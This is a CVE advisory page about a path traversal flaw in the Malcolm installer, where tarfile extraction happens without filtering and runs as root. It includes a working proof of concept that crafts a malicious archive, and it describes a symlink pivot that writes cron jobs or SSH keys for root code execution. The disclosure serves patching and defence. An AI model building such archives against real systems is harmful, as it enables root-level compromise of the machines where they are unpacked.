CVE-2026-134586: Malcolm Path Traversal

CVE-2026-134586

NVD

Vulnerability Summary

Path traversal in installer tarball extraction (root code execution via symlink pivot) Summary extract_malcolm_tarball() runs tarfile.extractall() on an operator-supplied archive with no member filtering, then recursively chowns the result as root. On Python ≀3.13 the default extraction filter is fully_trusted, so a crafted archive with ../ or symlink members can write outside the install directory with root ownership β€” up to root code execution. Details ``` scripts/installer/utils/file_utils.py:136-138 with tarfile.open(malcolm_install_file, "r:gz") as tar: tar.extractall(path=install_path, numeric_owner=True) ChownRecursive(install_path, ext_uid, ext_gid) ``` Archive path comes from --malcolm-file (scripts/installer/args/install_files_args.py:54). Installer requires root (scripts/install.py:517). No filter= argument, no per-member path validation. Proof of concept Preconditions: operator induced to run the installer (as root) on an attacker-supplied or tampered archive (compromised mirror, shared download dir, social engineering). ```bash Step 1 - build malicious archive with a traversal member mkdir -p /tmp/poc && cd /tmp/poc python3 - <<'PY' import io, tarfile t = tarfile.open('malcolm-evil.tgz', 'w:gz') i = tarfile.TarInfo('../../../../tmp/pwned-by-malcolm') i.size = 4 t.addfile(i, io.BytesIO(b'poc\n')) t.close() PY Step 2 - run installer on it sudo python3 /path/to/malcolm/scripts/install.py \ --malcolm-file /tmp/poc/malcolm-evil.tgz \ --install-path /tmp/poc/install Step 3 - confirm out-of-tree write ls -l /tmp/pwned-by-malcolm ``` Stronger variant (root code execution): add a symlink member cron -> /etc/cron.d, followed by a regular-file member cron/pwn containing a scheduled root command (or a symlink to /root/.ssh followed by writing authorized_keys). Because fully_trusted allows symlink members without resolve-and-confine checks, the second member writes through the symlink as root β€” escalating from arbitrary root file write to root command execution (same vector, C:H/I:H/A:H). Alternative delivery: point --malcolm-file at a tampered mirror download. Impact Arbitrary out-of-tree file writes as root; via symlink pivot, root code execution. Requires the operator to run the installer against the malicious archive. CVSS: 6.3 (CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H) CWEs: CWE-22
Severity Level
MEDIUM(6.3)
Published Date
Dec 4, 2026
Last Modified
Dec 4, 2026
Exploitation Status
Public exploit available
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
Root Weakness (CWE)
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory.
The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.
CVSS v3.1 Base Metrics — Score 6.3
CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H
Attack VectorLocal
Attack ComplexityHigh
Privileges RequiredHigh
User InteractionRequired
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh

Affected & Patched Versions

Affected Versions
  • Malcolm <= v26.10.0
Patched Versions
  • Malcolm v26.12.0

What to do

Prioritize this fix. Exploit code is public, so attacks can follow quickly.

  1. Check whether you run Malcolm and which version.
  2. Update to a patched version listed above, then confirm the new version.
  3. Review logs and exposed services for signs of earlier compromise.

Timeline

  • Dec 4, 2026Published
  • Dec 4, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

Get notified about new Malcolm CVEsYou are reading CVE-2026-134586. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alerts

Data last checked: Dec 5, 2026 05:01 UTC